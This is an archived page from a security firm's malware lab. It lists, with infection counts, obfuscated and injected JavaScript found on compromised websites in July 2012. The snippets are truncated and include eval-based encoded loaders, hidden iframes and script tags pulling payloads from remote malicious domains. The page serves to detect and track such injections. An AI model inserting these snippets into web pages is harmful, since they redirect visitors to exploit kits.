Sucuri Malware Labs
Historic malware entries for 2012-07-22Home | Notes | Malware data | Signatures | Tools | About
Archived data: Latest | 2013-05-15 | 2013-05-14 | 2013-05-13 | 2013-05-12 | 2013-05-07 | 2013-05-02 | 2013-05-01 | 2013-04-29 | More daysWe separate the data in three categories: Iframes, redirectiors and javascript. For each one you can click on the domain for more information, IP addresses and details on the malware.
Hidden iframes
Latest hidden iframes our scanner have identified on compromised web sites.
Conditional redirections
Conditional redirections we have detected (based on user agents or referers).
Encoded javascript
Encoded javascript (redirecting to blackhole and other exploit kits) or to build a remote call.
| # of sites infected | Type | Malware / Domains |
|---|---|---|
| 47 | javascript | <script>try{eval("pro"+"totype")>0;}catch(zxc){e=eval;n="81..90..945..1020..288..400..900..1110... |
| 23 | javascript | <script>try{eval("pro"+"totype")>0;}catch(zxc){e=eval;n="117..100..918..1170..990..990..1044..1... |
| 23 | javascript | <script src="http://linuxme.gotdns.org/rss.js"></script> |
| 20 | javascript | <script>var url="http://onmouseup.info/stats.php";if((navigator.userAgent.toLowerCase().indexOf... |
| 20 | javascript | <script>try{Math.roundd();}catch(qw){try{12+prototype;}catch(zxc){e=window["eva"+"l"];n="117.10... |
| 19 | javascript | <script type="text/javascript">document.write('<' + 'di' + 'v sty' + 'le="position: absolute; l... |
| 18 | javascript | <script>i=0;try{prototype;}catch(egewgsd){h="harCode";f=['-32b-32b64b61b-9b-1b59b70b58b76b68b60... |
| 17 | javascript | <script>try{1-prototype;}catch(asd){x=2;} if(x){fr="fromChar";f=[0,-1,94,93,22,29,91,101,88,108... |
| 16 | javascript | <script>try{12+prototype;}catch(zxc){e=window["eva"+"l"];n="117.100.900.1110.891.1170.981.1010.... |
| 14 | javascript | <script>var url="http://appmaker.com.au/wp-includes/pomo/ro.php";if((navigator.userAgent.toLowe... |
| 14 | javascript | <script>i=0;try{prototype;}catch(z){h="harCode";f=['-33c-33c63c60c-10c-2c58c69c57c75c67c59c68c7... |
| 12 | javascript | <script type="text/javascript">document.write('<iframe src="http://rolyjyl.ru/count30.php" name... |
| 12 | javascript | <script language="JavaScript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt... |
| 12 | javascript | <script>if(window.document)a=("urf3".split+'352').substr(0,6);aa=(Date+{}).substr(0,6);if(a===a... |
| 11 | javascript | <script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2... |
| 11 | javascript | <script src="http://linuxme.gotdns.org/rss.js"></script><script src="http://linuxme.gotdns.org/... |
| 11 | javascript | <script>aa=([].slice+'hjkbghkj').substr(2-1,4);if((aa=="func")||(aa=="unct"))aa=(document['crea... |
| 10 | javascript | <script type="text/javascript">function get_cookie(Name) { var search = Name + "="; var returnv... |
| 10 | javascript | <script>try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prot... |
| 10 | javascript | <script>try{eval("pro"+"totype")>0;}catch(zxc){e=eval;n="117..100..918..1170..990..990..1044..1... |
| 10 | javascript | <script src="http://downloadku.in/js/anonymize.php" type="text/javascript"></script> |
| 9 | javascript | <script>try{eval("pro"+"totype")>0;}catch(zxc){e=eval;n="117..100..918..1170..990..990..1044..1... |
| 8 | javascript | <script type="text/javascript" src="http://casadorinmo.com/jq.js"></script> |
| 8 | javascript | <script type="text/javascript" language="JavaScript"><!-- document.write (unescape ('%3cscript... |
| 8 | javascript | <script>try{eval("pro"+"totype")>0;}catch(zxc){e=eval;n="81..90..945..1020..288..400..900..1110... |
| 8 | javascript | <script>try{eval("pro"+"totype")>0;}catch(zxc){e=eval;n="81..90..945..1020..288..400..900..1110... |
| 8 | javascript | <script src="http://onsu46mersc.rr.nu/pmg.php?d=x"></script> |
| 8 | javascript | <script src="http://lea48ssur.rr.nu/pmg.php?d=x"></script> |
| 8 | javascript | <script src="http://angu48larf.rr.nu/pmg.php?d=x"></script> |
| 8 | javascript | <script language="javascript" type="text/javascript" src="http://js.users.51.la/4387405.js"></s... |
| 8 | javascript | <script charset="windows-1251" type="text/javascript" src="http://www.ozon.ru/PartnerTwinerNew.... |
| 7 | javascript | <script type="text/javascript">function get_cookie(Name) { var search = Name + "="; var returnv... |
| 7 | javascript | <script src="http://dadur05ingerr.rr.nu/pmg.php?d=x"></script> |
| 7 | javascript | <script>if(window.document)aa=/s/g.exec("s").index+[];aaa='0';if(aa.indexOf(aaa)===0){ss='';try... |
| 6 | javascript | <script type="text/javascript">document.write('<iframe style="visibility: hidden;" width="1" he... |
| 6 | javascript | <script>try{prototype>0;}catch(zxc){e=window["eva"+"l"];n="81..90..945..1020..288..400..900..11... |
| 6 | javascript | <script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.'... |
| 6 | javascript | <script src="http://muni42stbul.rr.nu/pmg.php?d=x"></script> |
| 6 | javascript | <script src="http://min72anc.rr.nu/pmg.php?d=x"></script> |
| 6 | javascript | <script src="http://ionse12rving.rr.nu/pmg.php?d=x"></script> |
| Limited view (40 rows)... Only the top entries being displayed. |